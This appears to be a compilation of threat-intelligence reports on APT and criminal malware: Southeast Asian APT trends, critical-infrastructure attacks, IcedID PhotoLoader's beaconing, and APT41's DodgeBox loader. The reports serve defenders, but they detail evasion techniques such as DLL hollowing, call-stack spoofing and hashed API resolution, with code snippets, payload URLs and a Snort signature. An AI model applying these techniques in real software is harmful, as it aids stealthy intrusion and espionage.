- d83428779b0c0ebfa08c6b50f34e0f1ae7812eeb9ed78b86610517d8208b6cb3
## YARA
A broad YARA rule focused on 0xFF features is available. |
# SPECIAL REPORT
## SOUTHEAST ASIA: CYBER THREAT LANDSCAPE
## INTRODUCTION
Advanced persistent threat (APT) actors remain one of the biggest challenges for companies and governments alike. Breaches continue while firms invest in cyber security and national governments develop new cyber strategies. This report discusses trends in the cyber security environment in Southeast Asia from January to June 2015. We will review some recent cases of attempted breaches on companies and governments and provide an overview of key findings:
- In the first half of 2015, FireEye products helped 29 percent of our customers in Southeast Asia detect malware used by APT groups and other cyber threat actors targeting their networks.
- Countries in the region face the risk that territorial disputes, particularly across the South China Sea, will expand into cyber operations.
## CYBER TRENDS IN SOUTHEAST ASIA
Southeast Asia faces numerous unique challenges regarding cyber security. The region’s extraordinary pace of economic development and growing military expenditures constitute two major reasons why APT actors target governments and businesses. APT groups seek to obtain intelligence to provide their sponsoring government with diplomatic, military, and economic advantages across the negotiating table or on the seas.
Countries in the region continue to face the risk that persistent territorial disputes, particularly across the South China Sea, will expand into cyber operations. China, the Philippines, Brunei, Vietnam, Taiwan, and Malaysia all contest territory in the area. These disagreements have led to APT groups stealing information related to these disputes and their economic effects from the networks of governments and companies involved.
During the first half of 2015, about 29 percent of our customers in Southeast Asia detected malware associated with APT groups, which remains higher than our global average of about 20 percent. Thailand and the Philippines are among those countries in Southeast Asia most often targeted with malware associated with APT groups.
## THE MOST PREVALENT MALWARE IN SOUTHEAST ASIA
The top five targeted malware alerts in the first half of 2015 in Southeast Asia were:
- Kaba (aka SOGU)
- LV (aka NJRAT)
- RegSubDat (aka NOISEPACK)
- CANNONFODDER
- Lecna (aka BACKSPACE)
## SOUTHEAST ASIA’S LEADING INDUSTRIES ATTRACTING APT MALWARE
More than one-third of malware detections associated with APT groups originated from customers in the Entertainment/Media/Hospitality industry. We have observed at least 12 APT groups target this industry globally. APT groups likely target media companies because of their role in shaping public opinion. Additionally, the sponsors of APT groups often seek early warning about reporting that is critical of their government.
Governments in the region continue to be among the most targeted by APT malware in Southeast Asia—nearly 25 percent. Many of these could be from rival governments. We have observed at least four APT groups targeting regional or state governments and at least 13 APT groups targeting national government organizations.
## REGIONAL CASE STUDIES
### Media Companies Subject to Spear Phishing
In early 2015, suspected China-based cyber threat actors targeted a media firm in Asia and attempted to compromise it via a malicious phishing email. The email contained an attachment that deployed a MONKEYTILT backdoor. The media company may have been targeted because it had published commentary supportive of an opposition group.
### State-Owned Banks in the Crosshairs
FireEye has observed the CANNONFODDER backdoor being used consistently throughout the Southeast Asia region during the past year. We believe China-based threat groups use CANNONFODDER to collect political and economic intelligence. In early and mid-2015, we observed CANNONFODDER implants beaconing from a Southeast Asian state-owned bank. Targeting this bank would provide the threat actors insights into the country’s growth priorities and likely a competitive edge in business.
### Targeting Government Organizations Through Foreign Nationals
In early 2015, we observed continuous attempts by a suspected China-based cyber threat actor to compromise a governmental organization in Southeast Asia with a malicious software backdoor called DIRTNAP. Another iteration of this campaign also targeted foreign nationals working with the government.
## APT.NINEBLOG RETURNS
FireEye has been tracking ongoing activity associated with a unique and relatively stealthy group we first identified in 2013 using the name “APT.NineBlog.” The name NINEBLOG refers to a specific backdoor used by the threat group.
We have observed this group targeting organizations primarily in South Asia and the Middle East. The threat group is notable because it employs Visual Basic Scripts (VBScripts) as a backdoor, a tactic we do not often observe. The NINEBLOG malware is difficult to detect because the VBScripts are encoded and the actors employ SSL network communications.
## APPENDIX: DESCRIPTIONS OF TOP MALWARE FAMILIES IDENTIFIED IN SOUTHEAST ASIA AND GLOBALLY
### Backdoor.APT.Kaba
**Aliases:** APT.PlugX, SOGU
**Summary:** SOGU is a fully featured backdoor used by APT actors that provides them with remote shell access and a custom CnC protocol.
### Backdoor.APT.LV
**Aliases:** LV, NJRAT, Bladabindi
**Summary:** NJRAT is a remote access trojan popular among Middle Eastern threat actors.
### Backdoor.APT.CANNONFODDER
**Summary:** This backdoor enables threat actors to modify, upload and download files, collect system information, and grant command line access to a victim's computer.
### Backdoor.APT.Lecna
**Aliases:** BACKSPACE
**Summary:** BACKSPACE is a fully featured backdoor used by APT actors that provides threat actors with remote shell access and an HTTP-based CnC protocol.
### Backdoor.APT.MONKEYTILT
**Summary:** This backdoor gives attackers the ability to modify, upload and download files, collect system information, and grant command line access to a victim's computer.
### Backdoor.APT.DIRTNAP
**Summary:** This Jscript-based backdoor is used by suspected China-based cyber threat actors and communicates via Base64-encoded commands. |
# Attacks Against Critical Infrastructure: A Global Concern
## Introduction
Cyber attacks on Critical National Infrastructure (CNI) have always been a major concern due to the immense disruption they can cause. The interruption of power, water, or transportation systems can significantly impact ordinary citizens and put huge pressure on organizations and governments to restore systems quickly. The Stuxnet attack on the Iranian nuclear enrichment program discovered in 2010, the attack on the power grid in Ukraine in 2015, and the recent attack on the Colonial Pipeline in the U.S. are just some of the high-profile incidents affecting CNI that have been publicly reported. Cyber attacks on power grids can cause anxiety due to the potential negative impacts they can have on ordinary citizens. Thankfully, in the case of Ukraine, power was restored reasonably quickly, but the fact that attackers were able to gain access to the power grid was a cause for significant concern. The Colonial Pipeline attack in the U.S. also caused a huge reaction, leading to people stockpiling gasoline amid fears of a fuel shortage. In a world where almost all systems are internet-connected to some degree, good cyber security in CNI has never been more important. This paper will look at some of the most high-profile cyber attacks on CNI we have observed, including the Colonial Pipeline attack, and some previously unpublished research into an attack campaign aimed at some CNI infrastructure in a South East Asian country. We will also look at what Symantec data tells us about malicious activity aimed at the CNI sector and the steps organizations can take to help protect themselves.
## Key Points
- The Colonial Pipeline incident and other recent attacks have underlined the disruptive potential of ransomware for CNI and the pressure that can be exerted on organizations to pay ransoms to restore essential services quickly, making them prime targets for ransomware criminals.
- Attacks on CNI are a global issue, with high-profile incidents occurring in the U.S., Europe, and the Middle East.
- Symantec data indicates that an increasing number of malicious actors are attempting to attack CNI organizations, but the number of attackers successfully installing malware on endpoints in the sector is trending down.
- Attacks on CNI can be hard to contain or keep under wraps for affected businesses, leading to potential damage to business reputation as well as major effects on ordinary citizens.
- A comprehensive cyber security strategy with the implementation of policies like network segmentation, Zero Trust, and multi-factor authentication is essential for businesses in this sector.
- Malicious actors targeting this sector use living-off-the-land tools and techniques, as well as malware, to target and infect victims.
- Though rare, we have seen both destructive attacks and attacks with physical impact aimed at organizations in the CNI sector.
## Methodology
Critical National Infrastructure (CNI) encompasses various industries. The Cybersecurity and Infrastructure Security Agency (CISA) lists 16 critical infrastructure sectors whose assets, systems, and networks are considered vital to the U.S. This includes:
- Healthcare and Public Health
- Financial Services
- Food and Agriculture
- Transportation Systems
- Information Technology
- Government Facilities
- Emergency Services
- Dams
- Communications
- Chemical
- Commercial Facilities
- Critical Manufacturing
- Defense Industrial Base
- Energy
- Nuclear Reactors, Materials, and Waste
- Water and Wastewater Systems
For this paper, we will concentrate primarily on a subset of these sectors, including:
- Energy Sector
- Dams
- Chemical
- Nuclear Reactors, Materials, and Waste
- Water and Wastewater Systems
- Critical Manufacturing
- Transportation Systems
- Commercial Facilities
## Colonial Pipeline: U.S. Infrastructure Under Attack
On May 7, 2021, Colonial Pipeline, one of the biggest fuel pipelines in the U.S., was forced to shut down operations following a ransomware attack. The attack was attributed to a group called Darkside, a ransomware-as-a-service operation believed to operate from Eastern Europe. This incident attracted significant media attention and a response from the White House.
### The Attack
The Colonial Pipeline is 5,500 miles long, travels through 14 states, and provides almost half of the fuel supply for the East Coast. Its shutdown caused alarm among residents, with fears of fuel shortages and price hikes. Colonial temporarily shut down all its pipeline operations after learning it had been hit by a cyber attack on its information technology systems. The seriousness of the attack was underscored when the government invoked emergency powers in response. The Department of Transportation issued an emergency declaration to relax regulations for drivers carrying gasoline and other refined petroleum products.
Colonial was able to restart the pipeline five days after the shutdown, although it took several days for the product delivery supply chain to return to normal. Reports indicated that Colonial paid a ransom of $4.4 million to the attackers within hours of the attack occurring.
### The Attackers
Darkside, tracked by Symantec as Coreid, is a ransomware-as-a-service operation that works with affiliates to conduct ransomware attacks. Coreid develops the malware, and affiliates carry out the attacks. The group is known for its "double extortion" attacks, where they steal victims’ data and threaten to publish it to pressure victims into paying the ransom. Coreid claims to prohibit affiliates from attacking certain organizations, including hospitals and government agencies.
Coreid is believed to be based in Eastern Europe, with Russia considered its most likely base. The group checks for the language used on infected machines and does not proceed with an attack if Russian or several other languages are installed.
### Impact
The Colonial Pipeline attack led to significant political responses, including an executive order aimed at modernizing U.S. defenses against cyber attacks. The U.S. Department of Homeland Security issued a Security Directive for the oil and gas pipeline industry, requiring critical pipeline owners to report any confirmed or potential cyber security incidents to CISA.
The attack also prompted reviews of cyber security preparedness in other countries, including South Korea and Japan, highlighting the global awareness of the dangers posed by potential cyber attacks on CNI.
## Case Study: Concerted Attacks on CNI in South East Asia
Symantec researchers observed attacks on several organizations in the CNI sector in a South East Asian country. These attacks were ongoing since at least November 2020 and continued until March 2021. Intelligence gathering was thought to be the likely motivation behind these attacks.
### Water Company
The first activity observed was suspicious use of Windows Management Instrumentation (WMI). A legitimate multimedia player called PotPlayer Mini was exploited by the attackers to load a malicious DLL. Credential theft and lateral movement on victim networks seemed to be key aims of the attacker, who made extensive use of living-off-the-land tools.
### Power Company
Similar activity was seen in a company in the power sector, where PotPlayer Mini was exploited for DLL search order hijacking. Credential theft was also carried out using ProcDump.
### Communications Company
In this attack, WMI was used to run chrome_frame_helper.exe to execute a net.exe command to connect a hidden C$ share. Persistence was created for chrome_frame_helper.exe as a scheduled task.
### Defense Organization
In the defense organization, PotPlayer Mini was exploited for DLL search order hijacking, and credential theft was performed by dumping LSASS.
## Conclusion
The Colonial Pipeline attack highlighted that ransomware can be just as disruptive as destructive malware. Targeted ransomware attacks that steal data and demand large ransoms are significant cyber security threats for all sectors, including CNI. The impact on the public caused by cyber attacks on CNI industries means that organizations in this sector need to have a robust cyber security strategy in place to keep their networks, equipment, and customers safe.
## Mitigation
Symantec security experts recommend the following best practices to protect networks:
- Deploy an integrated cyber defense platform that shares threat data.
- Ensure multi-factor authentication is enabled for all accounts.
- Monitor the use of dual-use tools inside your network.
- Ensure you have the latest version of PowerShell with logging enabled.
- Restrict access to Remote Desktop Protocol (RDP) services.
- Implement proper audit and control of administrative account usage.
- Remove legacy applications that are no longer in use.
- Create profiles of usage for admin tools.
- Use application allow lists where applicable.
- Implement offline backups that are onsite.
- Test restore capability.
- Educate staff on cyber security principles.
## Protection
Symantec provides a comprehensive portfolio of security solutions to address today’s security challenges and protect data and digital infrastructure from multifaceted threats. These solutions include core capabilities designed to help organizations prevent and detect advanced attacks. |
# IcedID PhotoLoader Evolution
IcedID continues to evolve but yet not a lot of attention is given to it. Joshua Platt, Vitali Kremez, and myself recently released a report detailing how they have been targeting and continue to target tax season in the midst of the Covid-19 pandemic, which has extended tax season in the US to July. In light of this, they are also continuing to innovate on their malware tools, including their PhotoLoader, which was detailed by MalwareBytes previously. The loader has recently had a number of additions designed to protect the payloads and evade network detection.
## Config
The loader comes with an onboard configuration which will be decoded. Decoding this config shows some hex data and a number of domains. Some of these domains are legit, and one of them stands out as suspect. The loader enumerates these domains and makes requests to them in a loop. After retrieving the content, it will look for the first occurrence of ‘url(“‘ or ‘src=”’. It will then build another request for this resource from the same domain, but depending on the flag value before the domain, it will determine whether or not the second request will have a callback function set on the request for the retrieved resource. The callback will add cookie values to the request headers. The cookie values built are based on various information from the infected system.
An example of the request can be seen from this sandbox detonation:
```python
>>> binascii.unhexlify('4445534B544F502D4A474C4C4A4C44')
'DESKTOP-JGLLJLD'
>>> binascii.unhexlify('61646D696E')
'admin'
```
A breakdown of what the cookie values are:
| Cookie | Value |
|--------|-------|
| _gid | Based on physical address of NIC |
| _io | Domain identifier from SID |
| _u | Username and Computername |
| _gat | Windows version info |
| _ga | Processor info via CPUID including hypervisor brand if available |
| _gads | First DWORD from decoded config data, flag from inspecting server certificate, a random DWORD or number passed as parameter with -id=, number of processes |
After pulling down the fake image file, it will look for ‘IDAT’. It uses a byte value to determine the size of the RC4 key before RC4 decrypting the data. Then it will perform a hash check on the decoded data to determine if it was correct. If the hash check fails, it will just continue performing this enumeration through the domain list, effectively turning this process into a check-in loop with fake traffic mixed in. Many of these added features to their photo loader appear to be designed for evading researchers and detections. This gives us insights into their operations, as what their customers are asking for dictates what their development team will prioritize. With the previous photo loader being blogged about and signatures being released, it was only a few months before a new updated system was created to replace it.
## IOCs
- 1a4408ff606936ba91fa759414f1c6dd8b27e825
- ca792a5d30d3ca751c4486e2d26c828a542a001a
- zajjizev[.]club
- hxxp://45.147.231[.]107/ldr.exe
- hxxps://customscripts[.]us/ldr_2817175199.exe
- karantino[.]xyz
- hinkaly[.]club
## Signatures
```plaintext
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"IcedID PhotoLoader Ver2"; flow:established,to_server; content:".png"; http_uri; content:"__gads="; http_cookie; content:"gat="; http_cookie; content:"_ga="; http_cookie; content:"_u="; http_cookie; content:"__io="; http_cookie; content:"_gid="; http_cookie; classtype:trojan-activity; sid:9000030; rev:1; metadata:author Jason Reaves;)
``` |
# Zscaler Blog
## Security Research
### DodgeBox: A deep dive into the updated arsenal of APT41 | Part 1
**Yin Hong Chang, Sudeep Singh**
**July 10, 2024 - 19 min read**
---
This is Part 1 of our two-part technical deep dive into APT41’s new tooling, which includes DodgeBox and MoonWalk. For details about MoonWalk, go to Part 2.
In April 2024, Zscaler ThreatLabz uncovered a previously unknown loader called DodgeBox. Upon further analysis, striking similarities were found between DodgeBox and variants of StealthVector, a tool associated with the China-based advanced persistent threat (APT) actor APT41 / Earth Baku. DodgeBox is a loader that proceeds to load a new backdoor named MoonWalk. MoonWalk shares many evasion techniques implemented in DodgeBox and utilizes Google Drive for command-and-control (C2) communication.
This two-part blog series aims to provide detailed technical analysis of both the DodgeBox loader and the MoonWalk backdoor. The goal is to assist blue teams in comprehending this emerging threat and offer insights into our attribution of the threat. Part 1 will offer an in-depth examination of the DodgeBox loader, highlighting its distinct characteristics and resemblances to StealthVector while Part 2 will delve into the intricacies of the MoonWalk backdoor.
### Key Takeaways
- APT41, a China-based nation-state threat actor known for its campaigns in Southeast Asian countries, has recently been observed deploying an advanced and upgraded version of StealthVector. We have named this new variant DodgeBox.
- DodgeBox incorporates various evasive techniques such as call stack spoofing, DLL sideloading, DLL hollowing, and environmental guard rails. These techniques work together to significantly decrease the chances of detection by security defenses.
- Upon analyzing DodgeBox, we discovered significant resemblances to the well-known StealthVector loader used by APT41. These similarities, combined with the distinct utilization of DLL sideloading and the acquisition of telemetry data from targeted countries, have led us to attribute this new loader to APT41 / Earth Baku with a moderate level of confidence.
### Technical Analysis
#### Attack Chain
APT41 employs DLL sideloading as a means of executing DodgeBox. They utilize a legitimate executable (taskhost.exe), signed by Sandboxie, to sideload a malicious DLL (sbiedll.dll). This malicious DLL, DodgeBox, serves as a loader and is responsible for decrypting a second stage payload from an encrypted DAT file (sbiedll.dat). The decrypted payload, MoonWalk, functions as a backdoor that abuses Google Drive for command-and-control (C2) communication.
#### DodgeBox Analysis
DodgeBox, a reflective DLL loader written in C, showcases similarities to StealthVector in terms of concept but incorporates significant improvements in its implementation. It offers various capabilities, including decrypting and loading embedded DLLs, conducting environment checks and bindings, and executing cleanup procedures. What sets DodgeBox apart from other malware is its unique algorithms and techniques.
During our threat hunting activities, we came across two DodgeBox samples that were designed to be sideloaded by signed legitimate executables. One of these executables was developed by Sandboxie (Sandboxie WUAU.exe), while the other was developed by AhnLab. All exports within the DLL point to a single function that primarily invokes the main function of the malware.
```c
void SbieDll_Hook()
{
if (dwExportCalled)
{
Sleep(0xFFFFFFFF);
}
else
{
hSbieDll = hSbieDll;
dwExportCalled = 1;
MalwareMain();
}
}
```
MalwareMain implements the main functionality of DodgeBox and can be broken down into three main phases:
1. **Decryption of DodgeBox’s Configuration**
DodgeBox employs AES Cipher Feedback (AES-CFB) mode for encrypting its configuration. AES-CFB transforms AES from a block cipher into a stream cipher, allowing for the encryption of data with different lengths without requiring padding. The encrypted configuration is embedded within the .data section of the binary. To ensure the integrity of the configuration, DodgeBox utilizes hard-coded MD5 hashes to validate both the embedded AES keys and the encrypted configuration.
2. **Execution Guard Rails and Environment Setup**
After decrypting its configuration, DodgeBox performs several environment checks to ensure it is running on its intended target.
**Execution Guard Rail: Argument Check**
DodgeBox starts by verifying that the process was launched with the correct arguments. It scans the argv parameter for a specific string defined in Config.szArgFlag. Next, it calculates the MD5 hash of the subsequent argument and compares it to the hash specified in Config.rgArgFlagValueMD5. In this case, DodgeBox expects the arguments to include `--type driver`. If this verification check fails, the process is terminated.
**Environment Setup: API Resolution**
Afterwards, DodgeBox proceeds to resolve multiple APIs that are utilized for additional environment checks and setup. Notably, DodgeBox employs a salted FNV1a hash for DLL and function names. This salted hash mechanism aids DodgeBox in evading static detections that typically search for hashes of DLL or function names. Additionally, it enables different samples of DodgeBox to use distinct values for the same DLL and function, all while preserving the integrity of the core hashing algorithm.
The following code shows DodgeBox calling its ResolveImport function to resolve the address of LdrLoadDll, and populating its import table.
```c
// ResolveImport takes in (wszDllName, dwDllNameHash, dwFuncNameHash, ...)
ntdll->LdrLoadDll = ResolveImport(L"ntdll", 0xFE0);
```
Inside the ResolveImport function, DodgeBox utilizes the FNV1a hashing function in a two-step process. First, it hashes the input string, which represents a DLL or function name. Then, it hashes a salt value separately. This two-step hashing procedure is equivalent to hashing the concatenation of the input string and salt.
3. **Payload Decryption and Environment Keying**
In the final phase, DodgeBox commences the decryption process for the MoonWalk payload DAT file. The code starts by inspecting the first four bytes of the file. If these bytes are non-zero, it signifies that the DAT file has been tied to a particular machine. However, if the DAT file is not machine-specific, DodgeBox proceeds to decrypt the file using AES-CFB encryption, utilizing the key parameters stored in the configuration file. In the samples analyzed by ThreatLabz, this decrypted DAT file corresponds to a DLL, which is the MoonWalk backdoor.
After the decryption process, DodgeBox takes the additional step of keying the payload to the current machine. It accomplishes this by re-encrypting the payload using the Config.rgAESKeyForDatFile key. However, in this specific scenario, the process deviates from the configuration file's IV (Initialization Vector). Instead, it utilizes the MD5 hash of the current machine's GUID as the AES IV. This approach guarantees that the decrypted DAT file cannot be decrypted on any other machine, thus enhancing the payload's security.
**Loading the Payload Using DLL Hollowing**
Next, DodgeBox reflectively loads the payload using a DLL hollowing technique. At a high level, the process begins with the random selection of a host DLL from the System32 directory, ensuring it is not on a blocklist (DLL blocklist available in the Appendix section) and has a sufficiently large .text section. A copy of this DLL is then created at `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Trace\v4.0_4.0.0.0__<random bytes from pcrt4!UuidCreate>`. DodgeBox modifies this copy by disabling the NX flag, removing the reloc and TLS sections, and patching its entry point with a simple return 1.
Following the preparation of the host DLL for injection, DodgeBox proceeds by zeroing the PE headers and the IMAGE_DATA_DIRECTORY structures corresponding to the import, reloc, and debug directories of the payload DLL. This modified payload DLL is then inserted into the previously selected host DLL. The resulting copy of the modified host DLL is loaded into memory using the NtCreateSection and NtMapViewOfSection APIs. Once the DLL is successfully loaded, DodgeBox updates the relevant entries in the Process Environment Block (PEB) to reflect the newly loaded DLL. To further conceal its activities, DodgeBox overwrites the modified copy of the host DLL with its original contents, making it appear as a legitimate, signed DLL on disk. Finally, the malware calls the entry point of the payload DLL.
Interestingly, if the function responsible for DLL hollowing fails to load the payload DLL, DodgeBox employs a fallback mechanism. This fallback function implements a traditional form of reflective DLL loading using NtAllocateVirtualMemory and NtProtectVirtualMemory.
At this stage, the payload DLL has been successfully loaded, and control is transferred to the payload DLL by invoking the first exported function.
#### Call Stack Spoofing
There is one last technique employed by DodgeBox throughout all three phases discussed above: call stack spoofing. Call stack spoofing is employed to obscure the origins of API calls, making it more challenging for EDRs and antivirus systems to detect malicious activity. By manipulating the call stack, DodgeBox makes API calls appear as if they originate from trusted binaries rather than the malware itself. This prevents security solutions from gaining contextual information about the true source of the API calls.
DodgeBox specifically utilizes call stack spoofing when invoking Windows APIs that are more likely to be monitored. As an example, it directly calls RtlInitUnicodeString, a Windows API that only performs string manipulation, instead of using stack spoofing.
However, call stack spoofing is used when calling NtAllocateVirtualMemory, an API known to be abused by malware.
The technique mentioned above can be observed in the figures below. In the first figure, we can see a typical call stack when explorer.exe invokes the CreateFileW function. The system monitoring tool, SysMon, effectively walks the call stack, enabling us to understand the purpose behind this API call and examine the modules and functions involved in the process.
In contrast, the next figure shows the call stack recorded by SysMon when DodgeBox uses stack spoofing to call the CreateFileW function. Notice that there is no indication of DodgeBox’s modules that triggered the API call. Instead, the modules involved all appear to be legitimate Windows modules.
There is an excellent writeup of this technique, so we will only highlight some implementation details specific to DodgeBox:
- When the CallFunction is invoked, DodgeBox uses a random jump keyword ptr[rbp + 48h] gadget residing within the .text section of KernelBase.
- DodgeBox analyzes the unwind codes within the .pdata section to extract the unwind size for the function that includes the selected gadget.
- DodgeBox obtains the addresses of RtlUserThreadStart + 0x21 and BaseThreadInitThunk + 0x14, along with their respective unwind sizes.
- DodgeBox sets up the stack by inserting the addresses of RtlUserThreadStart + 0x21, BaseThreadInitThunk + 0x14, and the address of the gadget at the right positions, utilizing the unwind sizes retrieved.
- Following that, DodgeBox proceeds to insert the appropriate return address at [rbp + 48h] and prepares the registers and stack with the necessary argument values to be passed to the API. This preparation ensures that the API is called correctly and with the intended parameters.
- Finally, DodgeBox executes a jump instruction to redirect the control flow to the targeted API.
### Threat Attribution
In this section, we outline the different tactics, techniques, and procedures (TTPs) that were utilized as indicators during our threat attribution process. Through the identification of these overlapping TTPs, we attribute this activity to a China-based threat actor known as APT41. Our confidence level in this attribution is medium.
#### Abuse of DLL Sideloading
DLL sideloading is a technique commonly utilized by APT groups with links to China. Typically, this method involves three essential components: a legitimate executable (EXE) file that is signed, a malicious DLL file, and an encrypted data file. While the specific combination of the EXE and DLL files mentioned here has not been publicly documented as being associated with APT41, the presence of these three components could indicate the involvement of a group linked to China.
#### Targeted Regions
Analysis of the telemetry available in VirusTotal reveals that DodgeBox samples have been submitted from both Thailand and Taiwan. This observation aligns with previous instances of APT41 employing StealthVector in campaigns primarily targeting users in the Southeast Asian (SEA) region.
Furthermore, during the monitoring of the attacker-controlled Google Drive account utilized for C2 communication, a spreadsheet containing the personal details of individuals from India was discovered. This spreadsheet is publicly available from other sources, suggesting that the threat actor may have leveraged it to identify potential additional targets.
#### Similarities Between DodgeBox and StealthVector
During our analysis of DodgeBox, we noted a number of similarities with StealthVector. In this section, we compare the code between variants of StealthVector uploaded to VirusTotal in 2021 and 2024, along with DodgeBox.
**Similarities in Checksum and Configuration Decryption**
Both StealthVector and DodgeBox perform an integrity check on their encrypted configurations. This verification process consists of two essential steps. First, the hard-coded size of the configuration is validated, ensuring it matches the expected size. Second, the hash of the configuration is verified to ensure its integrity. Once these checks are successfully completed, the malware proceeds with decrypting the configuration.
**StealthVector (2021)**
Old variants of StealthVector use a CRC32 hashing algorithm for integrity checks and ChaCha20 for decryption of the configuration.
**StealthVector (2024)**
Newer variants of StealthVector use a CRC32 hashing algorithm and AES-CBC for decryption.
**DodgeBox**
DodgeBox uses an MD5 hashing algorithm for integrity checks and AES-CFB for decryption of the configuration.
**Similarities in Decrypted Configuration Format**
These similarities encompass various aspects such as guard rails, payload filenames, sizes and offsets, as well as cryptographic secrets. Both the original StealthVector and DodgeBox configurations also incorporate checksums for their encrypted payloads.
**Similarities in Environment Keying**
Both StealthVector and DodgeBox perform environment keying by decrypting then re-encrypting the bundled payload.
**Similarities in Disabling CFG**
All three samples exhibit remarkably similar logic in their approach to patching CFG. This similarity extends to the use of identical byte patterns for locating the LdrpHandleInvalidUserCallTarget function, as well as applying the same patch in this function.
**Similarities in the Use of DLL Hollowing**
All three samples exhibit the capability to load bundled payloads through DLL hollowing. Notably, the 2024 version of StealthVector shares an identical list of blocklisted DLLs with DodgeBox.
### To Be Continued
DodgeBox is a newly identified malware loader that employs multiple techniques to evade both static and behavioral detection. Based on a combination of known TTPs, potential countries targeted, and similarities with StealthVector, we have attributed this activity to the China-based nation-state threat actor APT41 with moderate confidence. In our journey through Part 1 of this series, we analyzed the technical details surrounding DodgeBox and its similarities with StealthVector. In Part 2, we will analyze the MoonWalk backdoor - which is dropped by DodgeBox.
### Zscaler Coverage
Zscaler’s multilayered cloud security platform detects indicators related to DodgeBox at various levels with the following threat names:
- Win64.Payload.DodgeBox
- Win64.Backdoor.Moonwalk
- Win32.Backdoor.APT41
- Win64.Backdoor.APT41
### Indicators Of Compromise (IOCs)
| MD5 | Filename | Description |
|---------------------------------------|-----------------------------------------------|--------------------------------------------------|
| 0d068b6d0523f069d | Music.zip | ZIP archive containing DodgeBox samples. |
| 1ada59c12891c4a | | |
| b3067f382d70705d | taskhost.exe | Original Sandboxie signed binary. |
| c8f6977a7d7bee4 | | |
| d72f202c1d684c9a19f | DodgeBox DLL | |
| 075290a60920f | sbiedll.dll | sideloaded by taskhost.exe. |
| 294cc02db5a122e3a | sbiedll.dat | DLL that decrypts to the MoonWalk backdoor. |
| 393065ef9754e3f39b | Asterisk.dll | is sideloaded by an undetermined AhnLab executable. |
| bc4f07997956da | | Encrypted payload |
| 7861f12d9b59c4 | Asterisk.dat | DLL that decrypts the MoonWalk backdoor. |
| f062183da590aba5e9 | AppRouted.dll | 2024 StealthVector loader. |
| 11d2392bc29181 | | Encrypted shellcode |
| 4141c4b827067c180 | AppRouted.dll | payload DLL that decrypts to CobaltStrike. |
| b85062de0f70afd4 | N/A | 2024 StealthVector loader |
| 4bb072b0b71a8cc | | 2024 StealthVector loader |
| 72070b165d1f11bd4d | mscms.dll | 2024 StealthVector loader |
| 009a81bf28a3e5 | | 2024 StealthVector loader |
| f0953ed4a679b987a2 | robofororm-x64.dll | 2024 StealthVector loader |
| da955788737602 | | 2024 StealthVector loader |
### MITRE ATT&CK Framework
| Tactic | ID | Technique | Description |
|---------------------------------|--------------------------------|-------------------------------|--------------------------------------------------|
| Defense Evasion | T1574.002 | Execution Flow: DLL Sideloading | DodgeBox samples are designed to be executed by DLL sideloading. |
| Defense Evasion | T1480 | Guard rails | DodgeBox terminates execution if specific arguments are not provided. |
| Defense Evasion | T1480.001 | Environmental Keying | DodgeBox keys the encrypted payload to a machine, using a machine’s GUID. |
| Defense Evasion | T1027 | Obfuscated Files or Information | DodgeBox uses AES-CFB to encrypt strings, configurations, and bundled payloads. |
| Defense Evasion | T1027.007 | Dynamic API Resolution | DodgeBox uses salted FNV1a hashes to dynamically resolve APIs. |
| Defense Evasion | T1620 | Reflective Code Loading | DodgeBox reflectively loads payload DLLs, utilizing DLL hollowing. |
| Defense Evasion | T1106 | Native API | DodgeBox uses Windows Native APIs like NtCreateFile, LdrLoadDll, and NtAllocateVirtualMemory, as opposed to their Win32 counterparts. |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | DodgeBox performs a scan within its own address space to detect any alterations, such as hooks or debugger breakpoints. If it identifies any signs of modification, DodgeBox takes action to restore the original code from disk, effectively undoing any unauthorized changes made to its code. |
### Appendix
An example decrypted configuration of DodgeBox is shown in the figure below. The Python implementation of DodgeBox’s salted FNV1a hash is shown below.
```python
def fnv1a_salted(data, salt, seed_value=0x811C9DC5):
_data = data + salt
_hash = seed_value
prime = 0x01000193
for byte in _data:
_hash ^= byte
_hash *= prime
_hash &= 0xFFFFFFFFFFFFFFFF
return _hash
```
DodgeBox’s list of blocklisted DLLs is shown below.
```
advapi32.dll
bcrypt.dll
bcryptprimitives.dll
combase.dll
cryptbase.dll
cryptsp.dll
dhcpcsvc.dll
dhcpcsvc6.dll
dnsapi.dll
fwpuclnt.dll
gdi32.dll
gdi32full.dll
ierutil.dll
imm32.dll
kernel.appcore.dll
```
|
# Threat Intelligence
## Why Threat Intelligence is Important
## How to Develop Threat Intelligence
## Community Collaboration Case Study
# Platform
## Capabilities
## Integrations
## ThreatConnect™ API
## ThreatConnect™ Cloud
## Cloud Security
## Upgrade
# Communities
## Private Communities
## Moderated Common Community
## Moderated Subscriber Communities
## Intelligence Research Team
## Data Privacy
# Methodology
## Diamond Model of Intrusion Analysis
## Threat Inference Engine
## Collaborative Intelligence
# News & Events
## In The News
## Press Releases
## Blog
# About
## Leadership
## Careers
## Contact Us
---
## News
### Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats Up
Posted August 2, 2013 by TCIRT & filed under Research.
**Summary:** The global proliferation of cyber espionage may be serving as a catalyst for regional entities within South Asia to adopt their own cyber espionage capabilities. Irrespective of the threat's sophistication or motivation, South Asian cyber threats are likely emulating behaviors of larger regional powers to strategically influence national, organizational, or individual objectives.
The ThreatConnect Intelligence Research Team (TCIRT) has identified an example of South Asian cyber espionage that is likely transcending sectors and regional geographic boundaries. Analyses of multiple customized malware binaries hosted within a small U.S. subnet have likely been used to target Indian military or government entities. The malware contains specific artifacts that point to a commercial Pakistani entity. Although the TCIRT cannot conclusively confirm direct involvement, several hypotheses have been developed which may account for the malware and observed activity. All of the following information and threat indicators are available within ThreatConnect.com and have been shared with the ThreatConnect community.
**Operational Caveat:** The ThreatConnect Intelligence Research Team has contacted the affected service providers and notified them of the activity observed. Details associated with this threat have been shared with the ThreatConnect Community within Incident “20130731A: South Asia Cyber Espionage Heats Up”.
### It Takes Two to Tango
Globalization has woven the Internet into a fabric that interlaces practically every aspect of modern living. Throughout the years, as evidenced in countless media reports, world superpowers have recognized and utilized the Internet as a powerful source for intelligence collection, and on occasion, we have been offered glimpses as to how they are leveraging cyber espionage in support of their national diplomatic, military, or economic objectives.
Similar to a younger sibling looking up to a big brother, regional and middle powers within South Asia are seeking to leverage global cyber espionage in an effort to achieve parity with nation-states who have far-reaching diplomatic power, modernized militaries, and influential economies. Ultimately, these emergent economies are likely seeking to hasten their path to success in fulfilling national objectives via the “short-cut” that cyber espionage offers.
